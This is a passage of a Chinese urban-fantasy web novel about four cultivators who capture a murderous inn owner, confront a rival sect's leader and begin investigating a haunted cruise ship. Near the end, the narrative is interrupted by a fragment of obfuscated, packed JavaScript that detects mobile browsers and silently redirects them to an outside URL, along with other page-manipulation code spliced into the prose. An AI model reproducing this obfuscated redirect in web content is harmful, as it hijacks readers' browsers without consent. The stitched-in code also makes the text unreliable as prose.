萧衍对那两头狼喝了一声,意思应该是让它们不要再追那两头花豹。它们得令,立刻停止了追捕,朝着与罗晟打在一起的那头灰熊跑了过去。 灰熊凶恶异常,国内外都时常有灰熊食人的恐怖案件的报道。 这一头更是足有两米多高,罗晟的“无妄”和三头狼的奋力撕咬都几乎制它不住。 萧衍又学了几声狼嚎,五头狼其中四头各自咬住它的前后脚,而最后一头凌空一跃,伸爪便挠向它的面门。 灰熊的左眼被挠出几道血痕,它痛苦地闭上眼,用力甩着脑袋。 罗晟看准时机,抡起“无妄”从它的头顶正中一棍下去,那熊瞬时失去意识,巨大的身躯瘫倒在地,发出一声闷响。 而颜清辞这边,被迫跑了好几公里的大虎此时已经气喘吁吁,步伐显然放慢了许多。 瞅准时机,她默念咒文,指尖捻出一张符来。 她轻轻一抛,符咒贴在迎面扑来的猛虎额头正中,颜清辞口中念了一声“睡”,那头老虎猛一闭眼,倒在地上沉沉睡去。 四人组就这样制服了所有猛兽,再往看台上去找老板娘,她却起身往上面快步走——这是要跑! 萧衍吹了一声口哨,五头狼齐齐朝着看台上飞奔而去。老板娘回过头,一挥手,灵力化作飞刃朝狼群攻去。 颜清辞也一抬手,看台上一排椅子腾空飘起,挡在群狼面前,化解了攻击。 颜清辞再一挥手,开台上方亮着光的出口被一堆椅子堵了个严严实实。 老板娘催动灵力想要拨开那些椅子,好在萧衍给的功德着实不少,一时间还真破不了颜清辞的招。 五头狼很快追上了她,兴许也有发泄长期被虐待的怨气,它们一个个亮出獠牙往她皮肉里扎。萧衍等了一会儿,终于出声制止了它们。 “留活的。” 他们沿着看台往上走,老板娘一边用灵力修复被咬的伤口,一边愤愤不平地看着他们,说:“不过几条凡人的性命而已,非要与我过不去。” 颜清辞道:“凡人的命也是命,况且,只是为了美丽的容貌,就取人性命,天理难容。” “天理难容?呵呵呵呵……” 老板娘发出一串冷笑,“你们运气好,年纪轻轻就得了道,自然不会明白我的悲哀。苦苦追寻了一辈子,才得了长生之法,却只能守着衰老的残躯度日,倒还不如死了。” 颜清辞注视她的眼睛,沉默片刻又说:“死也没什么可怕的,我从出生起,每天都不知道能不能见到明天的太阳。 即便是现在,也时时担心哪天续不上功德也就魂灭了。天地有为法,就算是神仙,也逃不过生老病死。” 林朔此时已经掏出手机,向治安部报了警。听见治安部三个字,罗晟一脸不高兴地扔下一句“先走了”便推开堵着门的那些椅子走了出去。 三人则待治安部的人来带走了老板娘才离开。从那道门出来,他们发现这个大厅原来就在民宿的地下。 他们沿着楼梯回到一层,外边下起淅淅沥沥的小雨。 站在屋檐底下,萧衍说:“我给申海野生动物园打了电话,他们马上会派人来接那几头动物。” 颜清辞问:“答应得这么干脆?” “废话,我有股份。” 萧衍一脸傲娇。 颜清辞无言,她差点忘了,这家伙在凡间也是个A11级别的大佬,坐拥产业无数。 “被那个郑雷跑了,怎么办?” 林朔问道。 “他还能跑到哪里去,订机票,明天就去云中山,顺便要个解药来吃,不能用灵力真tm不爽。” 萧衍说到这里,忽然转向颜清辞:“你也吃了浇头面,为什么一点事都没有?” 颜清辞摇摇头:“我也不知道啊。” 她并无意纠结这个问题,转移了话题问道:“从这里飞云中山吗?” “你不用去,林朔,你给颜作家定机票回申海吧。” “我想去,这样的大门派,我 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他又贴上来,她闻见他身上淡淡的木质香:“你写的那些玩法,到底可不可行,难道不该实践一下吗?” 颜清辞忍无可忍:“萧衍你是不是脑子有包?别以为抓着个把柄就能一直要挟我!” “呵……” 逗她尽了兴,萧衍一脸餍足地靠回椅子里,懒洋洋道:“说我萧某人什么都行,就是说我小气,我不能忍。” 招财这时从颜清辞脚边的包包里探出头来,萧衍伸腿踢了踢那包包,厉声道:“快变回毛绒玩具,一会儿空姐要过来了。” 招财不满地瞪了他一眼,却也无可奈何,又老老实实钻了回去。 云中山离临湘市区两百多公里,此处群山整日云蒸雾罩,故名“云中山”。 湘州地处南方,夏季湿热异常,山中毒虫异兽甚多。上山前,萧衍拿出一瓶驱蚊液来强制给每个人从头到脚喷喷了一遍。 尽管这是完全多余的动作,普通蚊虫,一点灵力便能叫它们退散,毒虫灵兽,驱蚊液也没什么用。 雨后初晴,四人组踩着潮湿的台阶拾级而上。走了一个多小时,终于来到云中观的山门前。正值旅游旺季,大殿门前人头攒动。 他们进了大殿,径直走到一位身穿锦袍、端着拂尘、蓄着络腮胡的道士面前。 “找你们叶掌门,去通报一下。” 萧衍直截了当亮明了来意。 那道士愣了一下,问:“您是找我们观主吗?有没有预约?” “找你们观主也行,他在哪里?” 萧衍说。 道士面露不悦,将拂尘甩到另一边,冷冷道:“没有预约的话,劳烦您出门往里走,找到服务处登记一下吧。” 萧衍一脸不耐烦,奈何他现在灵力全失。 他朝颜清辞使了个眼色,她心里神会,施动法力,盯着那道士的眼睛说:“现在,带我们去见你们观主。” 那道士只是个凡人,自然乖乖领着他们往观里进。他带着他们穿过幽静的庭院,来到一座并不起眼的楼阁前。 刷卡进门,里面完全是办公楼的样式,他们来到三层一间办公室门口,道士轻轻敲门,里面传来一声“请进”。 他打开门,站在门口,毕恭毕敬地对里头的人说:“徐观主,有人找。” 徐观主望了望四人组,有些困惑地问:“你们是?” 萧衍带头走了进去,大剌剌在他对面坐了下来,说:“现在是你这小老儿在管事?” “你先出去吧。” 徐观主对门口那名道士说。 那人退出去后,门方一关上,徐观主周身气息便灿然亮起:“这位小兄弟今日前来有何贵干?” “小兄弟?” 萧衍冷哼一声,“我第一次到你们云中门来做客的时候,你的曾曾曾祖父恐怕都还没有出生呢。” 那徐观主仔仔细细打量了他们一遍,有些轻蔑地发出一声“哦”。 他一瞪眼,颜清辞感到一阵强烈的压迫感——这是在逼他们现出灵力。 几人周身的气息都逐渐闪现。萧衍面不改色,一抹深红从他的身体里弥散而出。 7. 芙蓉酿 见此情形,徐观主着实一惊,除了颜清辞,另外三人的灵力皆远在他之上。 萧衍漫不经心地说:“多亏了你们家赫赫有名的退灵散,不然这会儿我也犯不着跟你这老儿在这废话许多。” 徐观主的语气显然没了方才的淡定:“我们云中门和魔界的人素无来往,你们今天到底干什么来了?” “叫叶无介出来。” 萧衍毫不客气。 徐观主显然有些不悦,态度却还算客气:“我们叶掌门早就不见客了,实在不好意思。” “你跟他说,玄境山萧衍有事找他,至于他肯不肯出来,你自己瞧着便是。” 徐观主犹豫片刻,还是应了下来:“稍等。” 他出去后,萧衍回头看了一眼正在书柜前上下查看的林朔:“呵呵,不见客……这姓叶的还是一如既往地死装。” 林朔淡淡一笑,说:“这么多年了,你还是那么讨厌他?” 萧衍撇着嘴说:“当然,再过五百年也还是一样讨厌。” 过了许久,门终于被打开,从外面走进来一位风骨不凡的年轻人。 他穿着款式简约的深灰色衬衫,面料柔软却一丝不乱,黑色的窄脚裤让一双长腿更突出。 脚上的乐福鞋一眼看不出品牌,处处透露着“意大利手工定制”的高档感。 此人的穿着打扮和他本人的气质十分相符:松弛而高级。 他长得眉清目秀,颇有几分相师嘴里说的“男生女相”的大富大贵之貌。 “萧师弟,林师弟,好久不见。” 他和气地跟他们打招呼。 他的目光扫过罗晟,停留在颜清辞脸上,笑道:“这位小姐看着很面善,你叫什么名字?” “颜清辞。” 她刚说出自己的名字,萧衍兀地起身,故意挡在她面前,语气冷淡地说: “叶无介,我可不是你的师弟,最好别乱叫。” 那男人倒也不恼,仍旧和颜悦色地说:“既然你们当年来云中门跟着我师父修炼过一段时间,那就算得上是我的师弟师妹……” “我没空跟你扯这些有的没的……” 萧衍打断了他的话,没好气地说,“郑雷,这个人是你门下的吧,你手下的人跑出去招摇撞骗丢人现眼不说,还害得我们都中了退灵散,这事怎么算?” 叶无介缓步走到徐观主的位子上安然入座,不紧不慢地说:“郑堂主回来已经跟我请过罪了,你们在清溪镇发生的事,我也听说了。这件事是他做得不对,我已经处罚过了。” “哼……” 萧衍也再次坐下,冷笑一声说,“你一句轻描淡写的‘处罚过了’就算完了?此人输了比试还妄图偷袭我的人,总得给我个交代吧。 还是说,你们云中门的传统就是出了事概不负责?” “我自然要给你们一个交代。” 叶无介从徐观主抽屉里找出一盒药来,“这是退灵散的解药。” 他又将脸转向一旁的颜清辞:“我替郑堂主向你郑重道歉,88道藤鞭,我亲自行刑,散去他百年修为。如今他已经被革职,打发去了保洁部。” 他再次看向萧衍:“不知这样的处罚,萧师弟你满不满意?” 萧衍陷入沉默,这处罚的严重程度确实无可指摘,只是面对叶无介这个人,他心中那股怨气总是积郁难平。 良久,他站起身,拿起桌上那盒药放进口袋,说:“行吧,你都做到这份儿上了,我确实没什么好挑的。” 他朝另外三人使了个眼色,示意他们一起走。 叶无介却叫住他们:“难得来一趟,留下尝一尝湘州的特色再走吧。” “想吃我们可以自己下山吃,不必麻烦叶掌门了。” 萧衍拍拍颜清辞的胳膊,急着赶她出去。 “颜小姐……是吧?” 叶无介突然唤了颜清辞一声,“可否赏脸留下吃个饭,我手下的人不懂事差点伤了你,还请给我个机会赔罪。” “不需要你赔罪……” 萧衍不耐烦地拉着她就要往外走,颜清辞却甩开他的手,回过身,客客气气地对叶无介说:“既然叶掌门这么有诚意,那就恭敬不如从命了。” 叶无介微微一笑,唇红齿白,果真是个美丽的人儿。 萧衍气得脸都绿了,愣憋着说不出话来。 林朔上前拍了拍他的后背,一边安抚一边打着圆场道:“说起来,我也有点想念你们这里的芙蓉酿,今晚可得给我来上几壶。” “一句话,林师弟。” 叶无介拍拍手,那徐观主立刻从门外进来。 “老徐,你先带我这几位朋友去房间休息。” 他又对四人组说:“今天晚上可得喝个尽兴,你们就在山上住下,明早再下山吧。” 萧衍没搭理他,兀自走了出去。 徐观主带他们来到后山的一处风景秀美的院落,一座座禅房样式的小屋临水而建。 他给他们指了各自房间的位置,便离开了。 颜清辞四下望了望,翠竹松柏、溪流潺潺,不知怎的,心中生出一丝似曾相识之感。 她摇摇头,甩掉脑海里无解的错觉,对着萧衍问出了方才一直悬在心头的疑问:“萧老板,叶掌门说,你和林先生从前来这里修炼过……莫非你也是玄境门的弟子吗?” “嗯,算是吧。” “我没别的意思啊,这玄境门……没仙籍也能入的吗?” 林朔笑着插话:“当然是不能,可他从前是有仙籍的。当然,最重要的一点……他是掌门夫妇的亲儿子。” “啊!你就是那个……” 颜清辞仿佛发现新大陆一般瞪大了眼睛。 这是连她这样的底层牛马都知道的仙门八卦:玄境门祖师伉俪膝下唯有一子,老两口一辈子清风霁月,就为这逆子险些晚节不保。 传闻这位少爷自己脱了仙籍还不算完,还整日同魔众们混在一起,堕了魔道。 尽管如今这个时代,早就提倡“仙魔平等”,但歧视终究存在。 “那个什么?” 萧衍挑着眉毛看她。 “就那个……” 她实在不知该如何措辞。 萧衍替她说下去:“叛徒?孽障?仙门败类?” “我可没这么说……” 萧衍一脸不屑:“当仙有什么好的?守着那些破规矩,到头来跟你一样,又穷又废。” 颜清辞不爽地撇撇嘴,却也无力辩驳,只好转移了话题:“萧老板,你跟这个叶掌门之间是有什么过节吗,你为什么对他态度这么恶劣呢?” “当然是有很大的过节,就算没有,我也不喜欢他这个人,道貌岸然。” 颜清辞没再追问,眉梢轻挑:“行吧,只是叶掌门对我们诚心款待,你跟他有什么个人恩怨也不要成天垮着个脸吧。” 萧衍皮笑肉不笑地露出一口白牙,阴阳怪气地说:“好,我尽量装出开心的样子。” 颜清辞被他一脸狰狞的样子逗乐了,笑道:“别装了别装了,我怕晚上做噩梦。” “哦,原来颜作家晚上会梦见我啊。” 他嘴角松弛下来,这会儿是真心笑开了。 “神经。” 颜清辞翻了个大白眼,转身往自己的那间小房子去了。 到了晚上,叶无介在“听云阁”设宴招待他们四人,此处位于云中山的山巅之上,凭栏而望,头顶月明星稀,脚下层云叠起。 几壶“芙蓉酿”下肚,林朔已然醉倒。平素矜持克制的他此时勾着叶无介的脖子,絮絮叨叨地忆着往事。 “想当年,咱们在云中山修行的时候,那可真叫一个快活……就是你师父……那个老学究,嘁,那是真凶啊……” 林朔抬起头,猛然想起什么,问:“诶,说起你师父……他人呢?” 叶无介也有些微醺,双颊红润,眼中弥漫着水汽。 “我师父三百多年前就开始闭关了,还没出来呢……” “挺好……我现在想起他来都要抖三抖……” 萧衍冷眼看着两人亲密的样子,一杯杯灌着闷酒。他看起来面色如常,毫无醉意。 林朔歪着脑袋,望了一眼窗外的月色,感慨道:“霍,一晃都过去这么久了,想当年咱们四个……” “当”的一声,萧衍将酒杯重重砸在桌子上,对林朔投去一个警告的眼神。 林朔一惊,慌忙收了声,下意识往颜清辞的方向瞥了一眼。 这“芙蓉酿”虽尝起来清新淡雅,还有花的芳 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“谢谢你,萧老板,我没想到那酒这么烈。” “早告诉过你了,云中山没什么好东西。” 他站起身,整整衣服上的褶皱说,“你赶紧收拾收拾吧,我们一会儿就下山。” 四人组就这样回了申海。第一单尽管有所波折,但也算是大获成功。 颜清辞账户里从来没有这么大笔的进账。她对着功德余额那串数字数了好几遍零。 原来有钱人的快乐,真的是想象不到。 一个多月后的某天,四人组的微信群「一个小目标」里,萧衍发来一个链接。 他单独艾特她一个人: 「萧:颜作家,开新单了!你不晕船吧?」 她点开那个链接来看,渡了么app上的S级悬赏任务:科斯塔号游轮闹鬼事件。 「任务描述:这艘游轮闹鬼已持续多年,上个月大客户在船上吓出心脏病,直接投诉到海事局,若不尽快解决,游轮有可能退役报废,星海集团损失惨重。愿主为星海集团董事会主席,资料如下……」 她关掉链接,默默回了一个:「菇菇:收到。」 过了一会儿,罗晟发了话: 「Sheng:闹鬼啊……」 萧衍和林朔先后发了偷笑的表情包。林朔又紧接着发: 「林朔:世界上没有鬼的,罗队。」 「萧:有也没关系,反正我不怕。」 罗晟立即接了一个拿枪抵着头的表情包,又说: 「Sheng:出发日期,时间地点发过来。」 一周后,他们正式出发了。 科斯塔号游轮外观宏伟、内里豪华,要不是受到闹鬼事件的影响,票价可谓是相当不菲。 然而,即便是传闻闹鬼,票价被打下来了,也有的是胆大的游客跃跃欲试。甚至还有灵异爱好者专门冲着这个来一趟“见鬼之旅”。 他们坐飞机在港城登船,此次旅行的航线覆盖越南及东南亚三国,整整十二天,除了停靠港口时短暂的当地观光,几乎都在游轮上度过。 船上的人大多穿着色彩缤纷的花衬衫、花裙子,一派热带岛屿的风光。 四人组去游说那位星海集团的总裁,声称可以帮忙捉鬼的时候,对方豪气地答应把最顶级的星海套房给他们住。 刚好四个房间,客厅落地窗外巨大的阳台俯瞰一望无际的大洋。 颜清辞回房间放完行李,下楼走到阳台上往外看。潮湿的热带空气卷着海洋的气息扑面而来。 他们登船已经是下午,此时夕阳是海平线上一轮滚烫的火球,绽放着烫金色的光辉。 她环顾四周,无意间瞥见隔壁房间的阳台上也站着一个人。 身材颀长的男子眉眼如画,原本正远眺海上,回过头时,刚好与她四目相接。 他朝她挥挥手,露出一抹温暖的微笑。她也轻轻颔首,礼貌回应。 这时,身后传来一个冷冷的男音:“我还以为这尊享套房只此一间呢,那死老头可真会吹。” 8. 好一个热心鬼 颜清辞回过头,看见萧衍正站在她身后,眉头紧蹙,一脸不爽地望着隔壁那人。 “回去吧,外面热死了,研究一下行动方案。” 他拍着她的肩膀,想将她往屋里赶。 颜清辞一边朝屋里走,一边往隔壁的方向瞥了一眼,那清秀男子的目光始终望向他们这里。 进了屋,四人围坐在餐桌边盘起了“捉鬼”的细节。 林朔拿出了他的笔记本,率先开了口:“这艘船如今已经是许多灵异发烧友的打卡圣地,我在社交媒体上刷到好几个帖子,就是组织这些对怪力乱神感兴趣的同好一起来船上探秘的。” 他拿笔轻轻点了两下笔记本,继续说:“这些发烧友对曾经的闹鬼事件应该颇有研究,哪里有鬼、什么时间出没,他们很可能已经摸了个门儿清,所以我们可以先从这些人入手。” 萧衍看了一眼表,说:“快到饭点了,去餐厅坐坐吧,说不定能碰上你说的这些人,他们应该也在研究晚上到哪里撞鬼去呢。” 他们选了5层的中餐厅,一方面这间餐厅规模最大,另一方面大家还是对中国菜情有独钟。 站在餐厅门口扫视了一眼,颜清辞小声对其他三人说:“你们看那桌。” 顺着她眼神所指的方向,他们看见几个穿着奇装异服的人围着一张桌子正如火如荼地交谈着什么。 其中一个染着亮粉色头发的女孩穿着层层叠叠的复古连衣裙,胸前挂着一颗巨大的紫水晶。挨着她坐着一个波西米亚风打扮的女孩,正不紧不慢翻着塔罗牌。 另一个戴唇钉和鼻环的小眼男孩画着重重的黑眼线,手里不停把玩着一个哥特风十字架。 还有一人年纪稍长,他蓄着一小撮胡子,穿得倒是很正常,但正指着面前的罗盘,如痴如醉地跟其他几人说着什么。 四人组侧耳倾听,不出所料,那几人果然在聊科斯塔号闹鬼的事。 听了一会儿,萧衍一脸好奇地凑了过去,对那把玩罗盘的大哥问道:“你们也听说这船闹鬼?到底真的假的?” 那大哥看了他一眼,正了正坐姿,颇有几分傲气地说:“这事可是千真万确。很多人都看到过。” “哦,你倒是说说,都怎么闹的鬼?” 萧衍托着下巴,饶有兴致地眨巴着他那双装作人畜无害的大眼睛。 紫水晶女孩表情冷冷的,缓缓道:“曾经有住客洗澡的时候,明明挂在浴室门外的毛巾不翼而飞,跑到了床上。 还有住客的鞋子好端端在房间里移动了几个地方,还有半夜在底舱走廊里瞧见飘来飘去的床单的,在酒吧里听见杯子自己发出叮当响声的……” “很典型的鬼故事。” 林朔在一旁评价道。 哥特男孩一脸不屑地说:“还真不是编故事,你们这几天亲自体验一下就知道了,根据网友评测,闹鬼最凶的是6层娱乐区,7层客房和底舱工作区,是真是假,一试便知。” 波西米亚风女孩此时已经翻完了所有的牌,她看着面前的牌阵,悠悠吐出一句:“有的人早就死了,却还在这里。” 罗盘大哥伸出两根手指,指着空气,几乎带着点戏腔斩钉截铁地说:“有~鬼~!” 罗晟脸上的表情肉眼可见地僵硬起来,他用力捏着杯子,指尖微微泛白。 凌晨三点,6层的酒吧也已经打烊,整个娱乐区的灯光调到最暗,走廊寂静无声。 四人组踩在柔软的厚地毯上,脚步声被悉数隐藏。 罗晟虽然表面上看着淡定,他的手始终扶着腰间别着的“无妄”。 “老罗,你到底为什么那么怕鬼?”萧衍问。 罗晟沉默,没有回答。 他们走到电影院门口,萧衍提议进去看看。罗晟望了一眼漆黑的过道,有些犹豫,但见其他人都跃跃欲试地走了进去,他也只好跟上。 几个影厅的门都虚掩着,一推便开。漆黑的空间伸手不见五指,冷气却开了十足。 他们查看到第三个影厅的时候,罗晟已经起了一身的鸡皮疙瘩。 头顶上方忽然传来一声异响,声音很轻,四个人却都清楚听到了。 他们停下脚步,四下张望,试图找到声音的来源。 一道强光闪现,四周的环绕式音响里同时奏起恐怖的音乐。巨幅屏幕上出现一张诡异的木偶脸,在幽蓝色的光影里凝视着他们四人的眼睛。 “啊!”罗晟的尖叫声响彻整个影厅。 “哈哈哈哈哈哈!……”一串银铃般的笑声从头顶传来。 他们抬起头,借着影片的光亮,看见放映厅的小窗里,一个挑染着紫色头发的美丽女子正居高临下地瞅着他们。 脸上藏不住的笑意还带着几分奸计得逞的沾沾自喜。 过了一会儿,两个人推开影厅的门,走了进来。除了那女子,还有一个年轻男人—— 颜清辞定睛一看,不就是下午在隔壁房间阳台上看见的那人么。 两人亮出周身气息,女的是魔,男的是仙。 “你们也是来捉鬼的吧。”紫发女子的目光仍然停留在罗晟身上,他着实被吓得不轻,此时此刻脸上的肌肉仍是僵硬的。 “一个电影而已,叫《死寂》。”萧衍安慰罗晟道。 “你们在津渡上接的单?”那女子又问。 “你们呢?”林朔反问。 “一样。”女子答。 “切,老狐狸还两边下注。”萧衍不满地说。 这种高价值的订单有许多人同时接也不是什么稀奇的事。 大家各凭本事说服愿主接受他们的帮助,很是公平。 但像星海总裁这样同时请两组大师帮忙的确实不多见。 “我叫魏茯苓,他叫莫君离,你们都叫什么名字?”紫发女子爽朗地报上了自己的名号。 “萧衍,这是林朔,颜清辞,罗晟。”萧衍也不藏着掖着,挨个介绍起了自己的团队。 魏茯苓走到罗晟面前,笑道:“这位罗先生,你是不是怕鬼啊。” 罗晟撇过头去,显然有些羞耻。 “你们就住我们隔壁吧,我下午的时候见过你老公。” 萧衍故意强调了“老公”两字。 “哦,小莫可不是我老公,他是我异父异母的亲弟弟。” 莫君离笑着解释道:“我们是好朋友,茯苓姐救过我的命。” “既然我们都接了这个单子,那就看谁先抓到那个鬼,公平竞争。” 萧衍说着便往外走,一分钟都不想多逗留。 转了一遍6层,并没有什么异常,四人组又上到7层。这一层往上全都是客房。 客房区即便是晚间,走廊也亮着温和的暖灯。 他们沿着船身伸展的方向,从这头走到那头,还是没有发现任何异常。 往回走时,又碰上了魏茯苓和莫君离。 “好巧呀。” 魏茯苓笑着打招呼,眼睛却只盯着罗晟看。 被看的人却没有半句回应,反而别过了头去。 莫君离朝颜清辞露出一个彬彬有礼的微笑,她也礼貌地轻轻点头回应。 他俩之间晴空万里,萧衍脸上却阴沉得要刮十级台风。 就在这时,一间房间的门轰然打开,里面跑出一个人来,他的脸色惨白,嘴里颤颤巍巍地喊着:“见……见鬼啦!见鬼啦!” 六个人同时朝那人走过去,萧衍扶住那几乎要摔倒在地的男人,问:“怎么了?” “我……我真是……活见鬼啦!” 那男人重重喘了几口气,平复了一下心绪,终于说出了自己的遭遇。 “我今天不知吃了什么,疯狂闹肚子,刚才半夜又起来跑厕所,结果完事了发现没纸了,然后你猜怎么着?……” 他故意停顿了一下,扫视了一遍他们每个人的脸,才继续说:“厕所的门,它自动打开了一条缝,然后,从地上滚进一卷纸来……” 他说到这里,像是又回忆起那诡异的画面,身体不自禁地抖了抖,脸色又白了下去。 “你一个人住?” 莫君离问。 “废话!要有人跟我一起,我还能吓成这样!” “你这问题问的,像脑子落家里了。” 萧衍轻蔑地看了莫君离一眼。 “我只是确认一下,谁知道他的精神是不是正常。” 莫君离平静地说。 “你你你……你这小伙子怎么说话的呢?谁精神不正常!” 那男人气鼓鼓地说,“我就是自己一个人住,而且我看得真真的,原本虚掩的门,自己开了一条缝,有人把卷纸滚了进来。” “不过,话说回来,不管是不是鬼,也算是解了你的燃眉之急了吧?” 林朔说。 “喂,大哥,你用了那卷纸的吧……” 萧衍忽然推开了他,往后退了一米远。 那男人无语地白了萧衍一眼,说:“用了……” 他又看向林朔,道:“本来吧我也没多害怕,但大家不都说这艘船闹鬼么,气氛这么一烘托,真的是给我吓一大跳。” “你从厕所出来的时候,有看见人影什么的吗?” 莫君离又问。 “我好像是看见舷窗外面闪过一个白影……但讲真我没看太清楚,也不知道是不是幻觉……” 那男人的语气很不确定,意味着这条信息的可信度也有待商榷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019710|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 忙活了一晚上,到底也不算一无所获。然而两组人马又逛遍了甲板和底舱,也没有找到大哥嘴里说的“白影”。 天光渐明,船上的工作人员陆陆续续开启新一天的工作。 两组人马决定暂时收队,明日再查。 他们的套房挨在一起,连回程也同路而行。 “莫先生是自己修行还是有单位啊?” 颜清辞有一搭没一搭地便和莫君离聊上了天。 “我在御风门上班。” 他回答。 “御风门是大门派啊,待遇很不错吧,这样还出来接私单?” 颜清辞疑惑不解。 “哦,我最近在休假,纯属给茯苓姐帮忙。” “有编制真好,还能带薪休假呢。” 他们聊着聊着便并排走到了一起,丝毫没有注意到身后的萧衍投来刀子似的目光。 “颜小姐是自己修行吗?” “是啊,还没混上个铁饭碗。” “方便加个微信吗?要是我们单位招新人,我可以给你内推的。” 他掏出手机,一脸的热心肠。 “好啊,那先谢谢你了。” 颜清辞刚拿出手机来,便被萧衍夺了过去。 “他说他是御风门的你就信?防骗意识也太薄弱了。再说了,御风门其实待遇也就一般。你真想要编制,我明天就给你安排去玄境门入职。 我家可是仙界50强,真正的大厂,五险一金,支持远程办公,再送你一个商业功德险,不比他那里强百倍么?” 颜清辞瞪了他一眼,伸手道:“手机还给我。” 萧衍抿了抿嘴,还是老老实实把手机交了回去,眼睁睁看着颜清辞和莫君离互加了微信。 白天四人组几乎都在房间休息,颜清辞灵力低微,补眠的时间格外长。 她从房间出来的时候,日头正盛,海上毫无遮挡的阳光直射进落地窗,洒向客厅每一个角落。 她给自己倒了杯水,看见萧衍正歪着头靠在沙发里。他的手边放着一本打开的书,似乎睡着了。 从她站的角度看,只能看见半边脸。然而这个角度却更加突出了他优秀的面部轮廓。 高挺的鼻梁显得眼窝微微内陷,勾勒出立体的眉眼。 不说话的时候,着实赏心悦目啊——颜清辞在心里想。 “颜作家,你偷看我。” 明明闭着眼的人忽然说起话来。 “你怎么知道……” 这话说出口,看见沙发上坐起来的人面露坏笑,颜清辞立马知道上当了。 “真的在偷看啊,我就随口一说的。” 萧衍一脸得逞的表情。 “没有。” 颜清辞端着水杯往楼上走。 “罗晟和林朔出去了,你想不想也去玩玩?” 他问。 “也行。” 颜清辞停下脚步,平生第一次坐豪华游轮,不体验一下确实可惜了。 “船上消费贵不贵?” 去6层的路上,颜清辞有些担忧地问。 “大部分都是包含在房费里的,颜作家放心玩。” “那岂不是得多出来玩才值回票价?” 萧衍不怀好意地笑了:“颜作家很财迷啊,你要是想赚凡间的钱呢,我可以雇你写定制。” 他一托腮:“嗯……我想看帅气财阀和落魄小作家……没羞没臊的日常……” “写不来一点,不好意思。” 颜清辞没给一点好脸。 他也不气馁,脸上挂着松弛的笑。 “无论是钱还是功德,只要活得够久,自然不会缺,世上最珍贵的从来不是财富,而是时间。” 他突然说出这么一句颇有哲理的话来,是颜清辞没想到的。 “活500多年是什么感觉呢?” 顿了片刻,她问。 “无聊,寂寞。” 萧衍说,“像我爸妈那样归隐山林,自然是无聊透顶,但是要活在人间,就得每几十年换个身份,切断和上一个身份的所有联系。即使偶尔有一两个不想断联的凡人朋友,也只能看着他们衰老死去。” “你刚才不还说,时间是最珍贵的吗?” “珍贵的东西又不一定是好东西,钱不也一样。” 颜清辞陷入沉思,她从来没想过这个问题。总有一天,她的父母、身边的朋友也都会先自己老去。 萧衍尚且不能彻底坦然面对,更何况自己呢? 见她有些伤感,萧衍连忙安慰道:“你现在想这些还太早,等你活得足够久了再想吧。” 他大掌在她肩头轻轻拍了两下,迈步往前走去。 选来选去,颜清辞最想玩的还是激光枪战。两人刚排到长队末尾,莫君离和魏茯苓就走了过来。